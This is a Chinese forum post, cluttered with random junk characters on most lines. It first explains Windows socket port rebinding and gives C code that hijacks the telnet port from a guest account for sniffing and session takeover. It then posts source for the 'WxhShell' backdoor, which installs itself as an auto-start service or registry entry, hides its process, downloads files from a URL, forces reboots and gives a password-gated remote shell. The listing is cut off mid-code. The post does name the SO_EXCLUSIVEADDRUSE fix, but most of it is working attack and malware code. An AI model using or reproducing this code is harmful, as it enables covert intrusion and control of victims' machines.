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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wI 7gHp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MLTS<pW/  
tF/Ni*\^rV  
  saddr.sin_family = AF_INET; #=y)Wuo=  
ESoC7d&.K{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tx<^PV2  
hVB(*WA^D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,Il) tH  
QwG_-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nTGf   
F?a 63,r  
  这意味着什么?意味着可以进行如下的攻击: "pK<d~Wu  
0 !%G #~th  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %?+Lkj&  
! a\v)R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )XSHKPTQ1  
T&6>Eb0{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .Y7Kd+)s)L  
X0j>g^b8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (m! kg  
uc"%uc'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ue;Z)}  
}L|B@fW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G+2fmVB*X  
lAo~w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7O|`\&RY R  
Q -$) H;,  
  #include f &NX~(  
  #include MRo_An+  
  #include j`@`M*)GB  
  #include    vdUKIP =|_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .UX4p =  
  int main() kUGFg{"  
  { v]Pyz<+  
  WORD wVersionRequested; R%2.N!8v  
  DWORD ret; f0^s<:*  
  WSADATA wsaData; fsEQ4xN'  
  BOOL val; a"O;DYh  
  SOCKADDR_IN saddr; p]y.N)a  
  SOCKADDR_IN scaddr; &J9 + 5L8  
  int err; 32aI0CT  
  SOCKET s; B<.\^f uS  
  SOCKET sc; R87@.  
  int caddsize; 7y30TU  
  HANDLE mt; 5/ U{b5  
  DWORD tid;   [8Z#HjhQ  
  wVersionRequested = MAKEWORD( 2, 2 ); |"Zf0G  
  err = WSAStartup( wVersionRequested, &wsaData ); ^K J#dT  
  if ( err != 0 ) { +C7W2!I[G2  
  printf("error!WSAStartup failed!\n"); l+y;>21sTu  
  return -1; I~~":~&  
  } e#}Fm;|d  
  saddr.sin_family = AF_INET; -\%5aXr  
   (4q/LuP^d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fXnewPr=#  
3jW&S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +]wM$bP  
  saddr.sin_port = htons(23); =Sr<d|\O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ] FvGAG.*  
  { #>G:6'r  
  printf("error!socket failed!\n"); /!>OWh*~  
  return -1; 4IY|<  
  }  6; )5v  
  val = TRUE; B9 ?58v&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T)q Uf H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jo;&~/ V   
  { N5K2Hv<"  
  printf("error!setsockopt failed!\n"); K3=0D!Dq  
  return -1; BL>~~  
  } d+]=l+&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QH7 GEj]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s%vy^x29  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "D4% A!i  
(s|WmSQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oy[ px9Wx  
  { 16@<G  
  ret=GetLastError(); F+BCzsm7$  
  printf("error!bind failed!\n"); UNv!G/i-5  
  return -1; %c]N-  
  } !L9]nO 'BL  
  listen(s,2); }Cfl|t<5f  
  while(1) |-*50j l  
  { Us# /#-hJ  
  caddsize = sizeof(scaddr); "u$XEA  
  //接受连接请求 /D|q-`*K  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s]A8C^;c  
  if(sc!=INVALID_SOCKET) ;[P>  
  { 5f0g7w =-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #M#$2Vt  
  if(mt==NULL) (5+g:mSfr  
  { :p)^+AF"5  
  printf("Thread Creat Failed!\n"); M5:*aCN6P  
  break; Q;q{1M>  
  } T?Z^2.Pvc  
  } hG<[F@d  
  CloseHandle(mt); -nUK%a"(D  
  } k}}'f A  
  closesocket(s); CsT&}-C  
  WSACleanup(); o F_r C[  
  return 0; D ZZRu8~  
  }   #^aa&*<D_  
  DWORD WINAPI ClientThread(LPVOID lpParam) +mR^I$9  
  { G*%U0OTi  
  SOCKET ss = (SOCKET)lpParam; DYIp2-K  
  SOCKET sc; hz<TjWXv'  
  unsigned char buf[4096]; ;P8% yf  
  SOCKADDR_IN saddr; Tw*p^rU  
  long num; *$;Zk!sEF  
  DWORD val; a ^juZ  
  DWORD ret; {(Mmv[y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `Z{s,!z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "szJ[ _B  
  saddr.sin_family = AF_INET; *h).V&::O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qq[Dr|%7  
  saddr.sin_port = htons(23); QKVOc,Fp7i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <u# 7K\:  
  { @ %q>Jd  
  printf("error!socket failed!\n"); 8D?$@!-  
  return -1; ~FXq%-J  
  } 7\nXJ381  
  val = 100; Hdd3n 6*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '?_~{\9<  
  { gzW{h0iRr  
  ret = GetLastError(); 4 eSFpy1  
  return -1; DaGny0|BB  
  } &{qKoI]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >RJ&b  
  { rADzJ#CU \  
  ret = GetLastError(); yQ<h>J>  
  return -1; B *6 ncj  
  } LIz'hfS!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gk5Gf l  
  { mZ:#d;0  
  printf("error!socket connect failed!\n"); r>*+d|c 4  
  closesocket(sc); ^Ojg}'.Ygv  
  closesocket(ss); `pDTjJ  
  return -1; 9CN'2 9c  
  } B` +, 8  
  while(1) FK-q-PKO#.  
  { PVljb=8F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W|0))5a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2cGiE{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bNm]h.  
  num = recv(ss,buf,4096,0); S^EAE]  
  if(num>0) ` ` Yk  
  send(sc,buf,num,0); {%y|A{}c  
  else if(num==0) @}{uibLD\  
  break; .O#7X  
  num = recv(sc,buf,4096,0); w?N>3`Jnf  
  if(num>0) n6Z!~W8  
  send(ss,buf,num,0); bt.3#aj  
  else if(num==0) N@!PhP  
  break; Ix@B*Xz:`  
  } gsa@ci  
  closesocket(ss); vMJ(Ll7/  
  closesocket(sc); oaILh  
  return 0 ; NNE(jJ`/  
  } 6zNWDUf  
U:c 0s  
`/!FZh<  
========================================================== cyabqx  
i`vy<Dvpz  
下边附上一个代码,,WXhSHELL utC^wA5U~  
M:&%c3  
========================================================== l2dj GZk  
,Sy& ?t}`  
#include "stdafx.h" C6@*l~j  
=43NSY  
#include <stdio.h> L8 NZU*"  
#include <string.h> FDGG$z?>m  
#include <windows.h> !g=b=YK  
#include <winsock2.h> s&$e}yxVO  
#include <winsvc.h> = 8y,7u)  
#include <urlmon.h> jWh)bsqI!  
!)W#|sys&  
#pragma comment (lib, "Ws2_32.lib") [EZ=tk  
#pragma comment (lib, "urlmon.lib") Y(?SE< 4R  
f4+wP/n&  
#define MAX_USER   100 // 最大客户端连接数 m^TN6/])  
#define BUF_SOCK   200 // sock buffer ObS#aRq  
#define KEY_BUFF   255 // 输入 buffer Odhr=Hs  
_RZ"WA^[  
#define REBOOT     0   // 重启 |m@>AbR5dk  
#define SHUTDOWN   1   // 关机 +StsSZ  
8?: 2<  
#define DEF_PORT   5000 // 监听端口 +|5 O b  
.4$F~!aj9  
#define REG_LEN     16   // 注册表键长度 e5 zi"~  
#define SVC_LEN     80   // NT服务名长度 )vVf- zU  
WQD:~*C:  
// 从dll定义API 1cRF0MI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HNj;_S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h9iQn<lp4.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5tZ0zr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,\#s_N 7  
qcQq.cS_'N  
// wxhshell配置信息 U^U hZ!  
struct WSCFG { -:J<JX)o  
  int ws_port;         // 监听端口 72*j6#zS  
  char ws_passstr[REG_LEN]; // 口令 `R.Pz _oe  
  int ws_autoins;       // 安装标记, 1=yes 0=no T,vh=UF%]  
  char ws_regname[REG_LEN]; // 注册表键名 UTN[! 0[  
  char ws_svcname[REG_LEN]; // 服务名 .P?n<n#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2Yd@ V}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k"/Rjd(;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9e vQQN6D|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )N1iGJO)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A^LS^!Jz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5IFzbL#q#f  
+/]*ChrS  
}; Zkqq<  
~ L>M-D4o  
// default Wxhshell configuration Q1|zX@,  
struct WSCFG wscfg={DEF_PORT, PDCb(5  
    "xuhuanlingzhe", Ze#DFe$  
    1, Y> }\'$\b  
    "Wxhshell", EIyFGCw|U  
    "Wxhshell", 7-~)/7L  
            "WxhShell Service", ~%f$}{  
    "Wrsky Windows CmdShell Service", k#8`996P  
    "Please Input Your Password: ", DQ[7p(  
  1, d&f!\n_~  
  "http://www.wrsky.com/wxhshell.exe", ?.lo[X<,*  
  "Wxhshell.exe" DBLM0*B  
    }; IXR'JZ?fH  
'RzO`-dr  
// 消息定义模块 _VmXs&4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bQwG"N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E'(nJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZU+_nWnl  
char *msg_ws_ext="\n\rExit."; >gM"*Laa?  
char *msg_ws_end="\n\rQuit."; O|^J;fS:  
char *msg_ws_boot="\n\rReboot..."; >kmgYWG  
char *msg_ws_poff="\n\rShutdown..."; vH1,As  
char *msg_ws_down="\n\rSave to "; ^Qn:#O9  
o8hE.pf&  
char *msg_ws_err="\n\rErr!"; @EyB^T/  
char *msg_ws_ok="\n\rOK!"; `NEi/jB  
?K:. Pa  
char ExeFile[MAX_PATH]; c=9A d  
int nUser = 0; iSW<7pNq0  
HANDLE handles[MAX_USER]; ^yq}>_  
int OsIsNt; vNl)ltzJF  
bX(/2_l  
SERVICE_STATUS       serviceStatus; o76!7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kN8B,  
hN]l $Ct  
// 函数声明 5;^1Ab0  
int Install(void); S?C.:  
int Uninstall(void); iF837ng5  
int DownloadFile(char *sURL, SOCKET wsh); h{$k%YJ?  
int Boot(int flag); 0( A  ?&  
void HideProc(void); T JZ~Rpq  
int GetOsVer(void); rXE0jTf:a  
int Wxhshell(SOCKET wsl); <p/2hHfiD  
void TalkWithClient(void *cs); Md~._@`|K  
int CmdShell(SOCKET sock); b09xf"D  
int StartFromService(void); [{)Z^  
int StartWxhshell(LPSTR lpCmdLine); -qHG*v,  
1@h8.ym<"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m.1-[2{8~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J:&.[  
v>Kh5H5e~  
// 数据结构和表定义 g;6/P2w  
SERVICE_TABLE_ENTRY DispatchTable[] = B, H9EX  
{ pL`Q+}c}  
{wscfg.ws_svcname, NTServiceMain}, -;&I S  
{NULL, NULL}  G +41D  
}; bj6Yz,g F  
bGK*1FlH  
// 自我安装 k<+Sj h$  
int Install(void) d ePk}Sn  
{ Yg,b ;H  
  char svExeFile[MAX_PATH]; ju "?b2f  
  HKEY key; /4c`[  
  strcpy(svExeFile,ExeFile); 4Y2I'~'  
T6=|)UTe1  
// 如果是win9x系统,修改注册表设为自启动 V+@}dJS  
if(!OsIsNt) { 5y\35kT'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7Hgn/b[?b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rwP)TJh"  
  RegCloseKey(key); 6-TYOUm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1IS1P)4_0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?b{y#du2a  
  RegCloseKey(key); f5b|,JJ  
  return 0; 3!fR'L/i  
    } &0%Z b~ts  
  } F --b,,  
} SG|AJ9  
else { \ERxr   
?< teHFj  
// 如果是NT以上系统,安装为系统服务 ]sL.+.P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /#(IV_Eol  
if (schSCManager!=0) k} &wy  
{ Ka-o$o[^u`  
  SC_HANDLE schService = CreateService K\XQ E50  
  ( F~ \ONO5  
  schSCManager, ]y=U"g  
  wscfg.ws_svcname, ?Fn y_{&^H  
  wscfg.ws_svcdisp, 9lR6:}L7  
  SERVICE_ALL_ACCESS, V;"2=)X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V:J|shRo  
  SERVICE_AUTO_START, 'q |"+;  
  SERVICE_ERROR_NORMAL, Us'JMZ~  
  svExeFile, z~3ubta8(@  
  NULL, a{^z= =  
  NULL, ]w _&%mB  
  NULL, 26nwUNak  
  NULL, N0kCdJv  
  NULL kc P ZIP:  
  ); lnyq%T[^  
  if (schService!=0) 9< 07# 8c.  
  { e@0|fB%2  
  CloseServiceHandle(schService); ht]n*  
  CloseServiceHandle(schSCManager); Q[K$f%>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3ej237~F,L  
  strcat(svExeFile,wscfg.ws_svcname); ]GY8f3~|{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~/-SKGzo-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;nW;M 4{  
  RegCloseKey(key); R3lZ|rxv:  
  return 0; ecz-jZ! `  
    } Y,Z$U| U  
  } eaDZ^Z Er  
  CloseServiceHandle(schSCManager); YtSYe%  
} 2\k!DF  
} *P/A&"i[E  
l9=Ka{$^*  
return 1; S|k@D2k=  
} 9ck"JMla  
tugIOA  
// 自我卸载 -bOtF%  
int Uninstall(void) CkNR{?S  
{ w`f66*@Q1  
  HKEY key; mHju$d  
SH=S>  
if(!OsIsNt) { I5l%X{u"N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9=]HOUn  
  RegDeleteValue(key,wscfg.ws_regname); [qRww]g;P|  
  RegCloseKey(key); =0Y0o_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UR _Ty59  
  RegDeleteValue(key,wscfg.ws_regname); `Kf@<=  
  RegCloseKey(key); x,10o   
  return 0; &`n:AR`  
  } p19(>|$J  
} .$x}~Sw  
} 9v*y&V9/  
else { <5pNFj}0;X  
Tr:@Dv.O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *v K~t|z  
if (schSCManager!=0) a BMV6'  
{ S$fS|N3]%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e4Y+u8gT  
  if (schService!=0) |g^YD;9s.  
  { ">t^jt{  
  if(DeleteService(schService)!=0) { uchQv]VB  
  CloseServiceHandle(schService); T3 ie-G@<  
  CloseServiceHandle(schSCManager); !w%c= V]tV  
  return 0; 8gE p5  
  } .txtt?ZF2  
  CloseServiceHandle(schService); 6IT6EkiT  
  } Kn5C  
  CloseServiceHandle(schSCManager); y|MhV/P04  
} 4To$!=  
} e\[q3J  
0R\.G1f%  
return 1; 2INpo  
} ,pTZ/#vP#  
9ETdO,L)f  
// 从指定url下载文件  X{Vs  
int DownloadFile(char *sURL, SOCKET wsh) 9H4"=!AAgD  
{ i>h 3UIx\  
  HRESULT hr; O*?^a7Z)4  
char seps[]= "/"; gTTKjlI [  
char *token; R,PN?aj  
char *file; sgK =eBE  
char myURL[MAX_PATH]; w2'z~\dG8  
char myFILE[MAX_PATH]; Z'k?lkB2i  
pn(i18 x  
strcpy(myURL,sURL); ]3*w3Y!XK  
  token=strtok(myURL,seps); vW*Mf}=  
  while(token!=NULL) RPeH[M^  
  { v*GS>S  
    file=token; dZ(Z]`L,B  
  token=strtok(NULL,seps); t6KKfb  
  } > _sSni  
L{>rN`{  
GetCurrentDirectory(MAX_PATH,myFILE); ~?b1x+soV  
strcat(myFILE, "\\"); ,.*D f)+  
strcat(myFILE, file); yY UAH-  
  send(wsh,myFILE,strlen(myFILE),0); fmv:vs /9  
send(wsh,"...",3,0); ]$ s)6)kW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V*te8HIe  
  if(hr==S_OK) zsQkI@)sO  
return 0; r-EIoZ"P  
else Y)]VlV!`  
return 1; C/N;4  
^J7q,tvbJ  
} MYara;k  
`{Oqb  
// 系统电源模块 K*Ba;"Ugeg  
int Boot(int flag) !*&5O~dfN  
{ {4 vWSb  
  HANDLE hToken; |#cqxr"  
  TOKEN_PRIVILEGES tkp; GOA dhh-  
MH'%E^n `  
  if(OsIsNt) { <eSg%6z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =*ErN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h~ _i::vg  
    tkp.PrivilegeCount = 1; !+@70|gFF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~YW;'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  bV(BwWm  
if(flag==REBOOT) { W%^!<bFk}m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pwHe&7e#  
  return 0; dgX%NKv1  
} x{w|Hy  
else { ) aMiT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fng  
  return 0; -;"A\2_y  
} N@<-R<s^  
  } ;2g.X(Ra  
  else { sXPva@8_  
if(flag==REBOOT) { 3A"TpR4f`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kzq^f=p  
  return 0; ynMYf  
} Q/Z>w+zh#  
else { Zi}h\R a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AtHkz|sl  
  return 0; R|qNyNXo[  
} TeZu*c  
} h2mHbe43  
\oxf_4X  
return 1; ShV_8F z  
} 5 8;OTDR!  
CfrO1iF  
// win9x进程隐藏模块 & }j;SK5  
void HideProc(void) *< fJgc"3  
{ 5W fZd  
CL5^>. }  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "-Ny f  
  if ( hKernel != NULL ) v4rO 0y=C  
  { GGHeC/4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l> H'PP~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i}>EGmv m  
    FreeLibrary(hKernel); NqKeQezX  
  } 8|i<4>  
c%b|+4 }x  
return; GcO:!b*YMp  
} :f7!?^;y>  
.7Qqs=Au  
// 获取操作系统版本 pQ7elv]  
int GetOsVer(void) A-myY30  
{ $d-yG553  
  OSVERSIONINFO winfo; 94 6r#`q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e"sv_$*  
  GetVersionEx(&winfo); 6A>bm{`c:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vOKNBR2  
  return 1; oo]P}ra  
  else GYf{~J  
  return 0; DU*qhW`X  
} H[pvC=O=  
NzhWGr_x'  
// 客户端句柄模块 2'W# x  
int Wxhshell(SOCKET wsl) q%A>q ;l:  
{ $1s>efP-  
  SOCKET wsh; HXdo:#xEO  
  struct sockaddr_in client; /u]#dX5  
  DWORD myID; =$^}"}$  
M54czo=l  
  while(nUser<MAX_USER) ZK2&l8  
{ L* 6<h  
  int nSize=sizeof(client); ^P [#YO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A`(Cuw-o  
  if(wsh==INVALID_SOCKET) return 1; 6yYd~|T.Fl  
n?q+:P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s` , g4ce`  
if(handles[nUser]==0) {s6#h#U  
  closesocket(wsh); rWO#h{  
else zU0JwZi  
  nUser++; 86qQ"=v  
  } dn42'(p@G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $'!n4}$}  
;&?ITV  
  return 0; (<OmYnm  
} T51oNO%^  
I-J%yutB  
// 关闭 socket EX W?)_pg  
void CloseIt(SOCKET wsh) M,{;xf  
{ 0$y HO2 f  
closesocket(wsh); Ae^4  
nUser--; >U4bK^/Bp  
ExitThread(0); P$ b5o  
} fyx Q{J  
NX;{L#lQ  
// 客户端请求句柄 BjjuZN&  
void TalkWithClient(void *cs) w}07u5  
{ Ut1s~b1  
MD4m h2  
  SOCKET wsh=(SOCKET)cs;  ]5ibg"{S  
  char pwd[SVC_LEN]; WoSKN7*  
  char cmd[KEY_BUFF]; hD,^mru  
char chr[1]; hOIg 7=v  
int i,j; v=uQ8_0~N  
NFur+zwv  
  while (nUser < MAX_USER) { Vj)"?|V  
\0qFOjVj  
if(wscfg.ws_passstr) { <X1[j9Qtv0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tn3C0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3XbFg%8YG  
  //ZeroMemory(pwd,KEY_BUFF); Fgh an.F  
      i=0; EjEXev<]  
  while(i<SVC_LEN) { RdpOj >fT  
|VM=:}s&  
  // 设置超时 `q\v~FT  
  fd_set FdRead; lY |]  
  struct timeval TimeOut; Mcd K!V  
  FD_ZERO(&FdRead);  NY[48H  
  FD_SET(wsh,&FdRead); F?y C=  
  TimeOut.tv_sec=8; r|3u]rt  
  TimeOut.tv_usec=0; VWCC(YRU|$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;gRPTk$X3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |NjyO>@Pa  
wlP% U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e6T?2`5P  
  pwd=chr[0]; lL'K1%{+ \  
  if(chr[0]==0xd || chr[0]==0xa) { H3JDA^5  
  pwd=0; Ut2x4$9  
  break; zFwO(  
  } eo"XHP7ja  
  i++; ')fIa2dO/  
    } dsK ^-e6:5  
GsqO^SV  
  // 如果是非法用户,关闭 socket $VxuaOTyVZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aJ]t1  
} ^#7&R"  
q| *nd!y'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^M1O)   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xkaed  
7tY~8gQel  
while(1) { itO1ROmu  
sQT,@+JEr  
  ZeroMemory(cmd,KEY_BUFF); P[ Vf$ q<  
7 :u+-U  
      // 自动支持客户端 telnet标准   yN}<l%  
  j=0; Z>'hNj)ju  
  while(j<KEY_BUFF) { I =K<%.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MY&?*pV)  
  cmd[j]=chr[0]; V5I xZn%  
  if(chr[0]==0xa || chr[0]==0xd) { iW? NxP  
  cmd[j]=0; ,#.^2O9-^  
  break; 3ZYrNul"  
  } rV I-Yb  
  j++; m{6 *ae  
    } :\1vy5 _  
W5 RZsS]  
  // 下载文件 -dUXd<=ue  
  if(strstr(cmd,"http://")) { }-WuHh#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &G+:t)|S  
  if(DownloadFile(cmd,wsh)) \FyHIs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3\P/4GK)  
  else ~^eC?F(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fhQ N;7  
  } C2 !F   
  else { `[f IK,  
-n$hm+S  
    switch(cmd[0]) { 7q^a@5f BG  
  w:9n/[  
  // 帮助 ^`(3X  
  case '?': { X*:)]p(R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c5HW.3"  
    break; ~eGtoEY  
  } Jz_`dLL^ w  
  // 安装 qI\B;&hr(  
  case 'i': { V ;M'd@  
    if(Install()) b=Q%Jxz?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YccD ^w[`B  
    else T:udw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }/.b@`Dh;  
    break; Y{m1\s/o  
    } r P&.`m88n  
  // 卸载 N5fMMi(O  
  case 'r': { oVnHbvP1X  
    if(Uninstall()) `q1K%id  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ezk:XDi4  
    else |F>'7JJJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *IC9))PGJ  
    break; rEZMX2  
    } hKp-"  
  // 显示 wxhshell 所在路径 W#<ZaGsq  
  case 'p': { MqswYK-s  
    char svExeFile[MAX_PATH]; cz*Z/5XH  
    strcpy(svExeFile,"\n\r"); zQ,ymf T  
      strcat(svExeFile,ExeFile); -M?s<R[&  
        send(wsh,svExeFile,strlen(svExeFile),0); ("@ih]zYf  
    break; pS)/yMlVj  
    } pd}af iF  
  // 重启  0GiL(e|  
  case 'b': { +t;j5\HS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?-P W$p  
    if(Boot(REBOOT)) |Ns[{/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qc"UTvq  
    else { >1d`G%KfG  
    closesocket(wsh); ,7|2K&C5  
    ExitThread(0); r;&rc:?A  
    } :mz6*0qW  
    break; UR.l*+<W7  
    } e@crM'R7Lo  
  // 关机 C+c;UzbD  
  case 'd': { t[^68]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @{UtS2L  
